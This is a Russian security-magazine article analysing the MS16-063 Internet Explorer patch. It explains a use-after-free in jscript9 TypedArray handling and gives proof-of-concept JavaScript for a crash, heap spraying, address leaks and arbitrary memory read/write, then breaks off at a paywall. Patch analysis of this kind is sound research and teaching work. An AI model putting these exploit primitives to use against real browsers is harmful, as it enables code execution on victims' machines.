Обзор эксплоитов #210. Удаленное выполнение кода в MSIE и целочисленное переполнение в Windows
В сегодняшнем обзоре мы рассмотрим исследование патчей к Windows. Для примера возьмем патчи MS16-039 и MS16-063, проанализируем их и создадим небольшие proofs of concept на основе найденных уязвимостей.
MS16-063: Удаленное выполнение кода
CVSSv2
Нет
BRIEF
Дата релиза: 27 июня 2016 года
Автор: Theori
CVE: нет
Патч MS16-063 закрывает несколько серьезных дыр в Internet Explorer (некоторые из них ведут к удаленному исполнению кода). Сравним запатченную и уязвимую версии библиотеки jscript9.dll
при помощи BinDiff.
Изменения, относящиеся к классу TypedArray, в пропатченной версии библиотеки jscript9.dll
Найти нужные функции непросто: в файле куча изменений. Но если присмотреться, то можно заметить, что в основном они коснулись функций DirectGetItem
и DirectSetItem
для разных типов класса TypedArray
. Еще есть изменения в функциях GetValue
и SetValue
класса DataView
.
Изменения, связанные с классом DataView
Более подробно про TypedArray
ты можешь узнать из документации. Если вкратце, то он поддерживает доступ к «сырым» данным, основанным на ArrayBuffer
. Напрямую ArrayBuffer недоступен, и его нельзя изменять, кроме как через интерфейс высокого уровня view
. View предоставляет контекст, который включает в себя тип, смещение и количество элементов.
С помощью DataView
мы получаем возможность чтения и записи данных в произвольном порядке следования (endianness). А с помощью TypedArray
, как и предполагает название, мы можем определить тип данных элементов массива. Типы бывают такие:
- Int8Array: знаковое 8-битное целое число;
- Uint8Array: беззнаковое 8-битное целое число;
- Uint8ClampedArray: сжатое беззнаковое 8-битное целое число (сжато до диапазона от 0 до 255);
- Int16Array: знаковое 16-битное целое число;
- Uint16Array: беззнаковое 16-битное целое число;
- Int32Array: знаковое 32-битное целое число;
- Uint32Array: беззнаковое 32-битное целое число;
- Float32Array: 32-битное число с плавающей запятой (float);
- Float64Array: 64-битное числo с плавающей запятой (double).
TypedArray
и DataView
в некотором смысле схожи. Оба предоставляют доступ или изменяют сырые данные. Итак, что же патч изменил в этих функциях?
В графовом представлении хорошо видно, какой код был добавлен (блоки красного цвета).
Июньская и майская версии библиотеки jscript9.dll
Перед патчем DirectGetItem
и DirectSetItem
для каждого типа массива просто проверяли, находится ли index в его пределах, а затем обращались к буферу.
Функция GetDirectItem (майская версия)
На псевдокоде это можно описать примерно так:
inline Var DirectGetItem(__in uint32 index) { if (index < GetLength()) { TypeName* typedBuffer = (TypeName*)buffer; return JavascriptNumber::ToVar( typedBuffer[index], GetScriptContext() ); } return GetLibrary()->GetUndefined(); }
Заметь, что здесь нет проверки самого буфера. Буфер мог быть «отсоединен» (detached
) до момента обращения или изменения, что приводит к уязвимости типа UAF.
Мы можем отсоединить ArrayBuffer при передаче, используя postMessage
. Ниже представлен пример кода для этого (ab — ArrayBuffer).
function detach(ab) { postMessage("", "*", [ab]); }
Код, который был добавлен в патче, проверяет, был ли отсоединен буфер для предотвращения UAF.
Функция GetDirectItem (июньская версия)
Забавный факт — эта уязвимость уже былa запатчена (возможно, при рефакторинге) в ChakraCore в соответствующем коммите.
inline Var BaseTypedDirectGetItem(__in uint32 index) { if (this->IsDetachedBuffer()) // 9.4.5.8 IntegerIndexedElementGet { JavascriptError::ThrowTypeError(GetScriptContext(), JSERR_DetachedTypedArray); } if (index < GetLength()) { Assert((index + 1)* sizeof(TypeName)+GetByteOffset() <= GetArrayBuffer()->GetByteLength()); TypeName* typedBuffer = (TypeName*)buffer; return JavascriptNumber::ToVar(typedBuffer[index], GetScriptContext()); } return GetLibrary()->GetUndefined(); }
После патча код в jscript9
также ищет отсоединенный буфер в DataView
и TypedArray
.
EXPLOIT
Сделаем для начала небольшой PoC. Для этого понадобится:
- Создать
TypedArray
. Мы можем выбрать любой тип, но воспользуемсяInt8Array
. - «Отсоединить»
ArrayBuffer
с помощьюInt8Array
из шага 1. Для этого освободим буфер. - Обратиться к освобожденному буферу, получив или установив элементы, используя
Int8Array
.
И получаем креш.
<html> <body> <script> function pwn() { var ab = new ArrayBuffer(1000 * 1024); var ia = new Int8Array(ab); detach(ab); setTimeout(main, 50, ia); function detach(ab) { postMessage("", "*", [ab]); } function main(ia) { ia[100] = 0x41414141; } } setTimeout(pwn, 50); </script> </body> </html>
Успешное срабатывание PoC для MS16-063
В нашем конкретном случае падение происходит в момент записи данных в освобожденную память (то есть ia[100]
указывает на освобожденную память). Для успешной эксплуатации мы хотим выделить объекты: мы создадим их и будем контролировать их метаданные. Это даст нам возможность читать и писать произвольную память.
В качестве тестового стенда автор эксплоита использует виртуальную машину, представленную компанией Microsoft для тестирования приложений в различных версиях браузеров, — modern.ie. Была выбрана машина с Windows 7 и Internet Explorer 11. Такая ВМ хороша тем, что заведомо уязвима из-за отсутствия обновления.
Как показано выше, для начала мы выделяем объект ArrayBuffer
, который будет передан в Int8Array
. Большой ArrayBuffer
(около двух мегабайт) нужен потому, что память будет возвращена обратно в ОС после освобождения. А для эксплуатации в этом варианте точный размер не так важен.
var ab = new ArrayBuffer(2123 * 1024); var ia = new Int8Array(ab);
После того как мы «отсоединим» буфер и стриггерим сборщик памяти (он освободит выделенную память с помощью VirtualFree
), мы заполним это пространство достаточно маленькими объектами. Затем мы сможем их изменять.
var ab2 = new ArrayBuffer(0x1337); function sprayHeap() { for (var i = 0; i < 100000; i++) { arr[i] = new Uint8Array(ab2); } }
Это вызовет LFH (Low-fragmentation Heap) для размера класса sizeof(Uint8Array)
. Память будет выделяться через VirtualAlloc
.
Как это сработает, можно увидеть в VMMap. Примеры представлены на скриншотах.
VMMap до выделения памяти для ArrayBuffer |
После выделения памяти для ArrayBuffer |
После отсоединения буфера |
После выделения памяти для Uint8Arrays (LFH) |
Теперь нам нужно определить местоположение одного из созданных объектов Uint8Array
. Так как длина элементов класса Uint8Array
равна четырем байтам, то мы ищем длину, указанную для ab2
(0x1337). И после того, как найдем, начинаем увеличивать длину, чтобы определить соответствующий индекс массива в arr
.
for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] != 0x00; i++) { if (ia[i] === undefined) return; } ia[i]++; lengthIdx = i; try { for (var i = 0; arr[i].length != 0x1338; i++); } catch (e) { return; } mv = arr[i];
Вынесем объект Uint8Array
в отдельную переменную mv
, чтобы использовать для чтения и записи произвольной памяти. Обрати внимание, что довольно просто получить адреса буфера и vftable (для Uint8Array
).
function ub(sb) { return (sb < 0) ? sb + 0x100 : sb; } var bufaddr = ub(ia[lengthIdx + 4]) | ub(ia[lengthIdx + 4 + 1]) << 8 | ub(ia[lengthIdx + 4 + 2]) << 16 | ub(ia[lengthIdx + 4 + 3]) << 24; var vtable = ub(ia[lengthIdx - 0x1c]) | ub(ia[lengthIdx - 0x1b]) << 8 | ub(ia[lengthIdx - 0x1a]) << 16 | ub(ia[lengthIdx - 0x19]) << 24;
Добавим дополнительные функции.
function setAddress(addr) { ia[lengthIdx + 4] = addr & 0xFF; ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF; ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF; ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF; } function readN(addr, n) { if (n != 4 && n != 8) return 0; setAddress(addr); var ret = 0; for (var i = 0; i < n; i++) ret |= (mv[i] << (i * 8)) return ret; } function writeN(addr, val, n) { if (n != 2 && n != 4 && n != 8) return; setAddress(addr); for (var i = 0; i < n; i++) mv[i] = (val >> (i * 8)) & 0xFF }
Дальше есть множество путей развития атаки, и все они зависят от окружения. К примеру, если это Windows 7 и Internet Explorer 11, то план атаки следующий.
Извини, но продолжение статьи доступно только подписчикам
Вариант 1. Подпишись на журнал «Хакер» по выгодной цене
Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем банковские карты, Яндекс.Деньги и оплату со счетов мобильных операторов. Подробнее о проекте
1 год3900 р. Экономия 900 рублей! |
1 месяц400 р. 25-30 статей в месяц |
Вариант 2. Купи одну статью
Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: в каждом выпуске журнала можно открыть не более одной статьи.
Уже подписан?
Читайте также
- Ошибка в API Facebook предоставляла доступ к фото 6,8 млн пользователей
- Одного ноутбука оказалось достаточно для компрометации всей корпоративной сети
- Депутаты Госдумы разработали план по обеспечению работы Рунета на случай отключения от Сети
- Морские суда часто подвергаются кибератакам
- 25 декабря состоится встреча сообщества специалистов по кибербезопасности АСУ ТП / RUSCADASEC
- Уязвимость в приложении Logitech позволяла удаленно инициировать нажатие клавиш